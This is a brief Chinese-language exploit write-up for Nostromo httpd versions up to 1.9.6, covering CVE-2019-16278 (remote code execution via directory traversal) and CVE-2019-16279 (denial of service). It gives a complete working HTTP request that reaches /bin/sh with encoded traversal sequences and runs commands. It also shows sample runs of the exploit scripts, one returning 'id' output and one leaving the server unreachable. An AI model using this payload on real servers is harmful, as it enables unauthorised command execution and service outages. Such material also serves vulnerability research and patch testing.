Nostromo httpd 在版本 <= 1.9.6 中存在两个严重漏洞(0day =]):第一个是通过目录遍历实现的远程代码执行,第二个是拒绝服务。

POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25
echo
echo
ifconfig 2>&1
该漏洞是由于对 CVE-2011-0751 的修复不完整导致的。我们可以绕过对 /../ 的检查,从而使用任意参数执行 /bin/sh。
示例
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
该漏洞利用了在单个连接中发送过多 \r\n 时触发的内存错误。
示例
$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused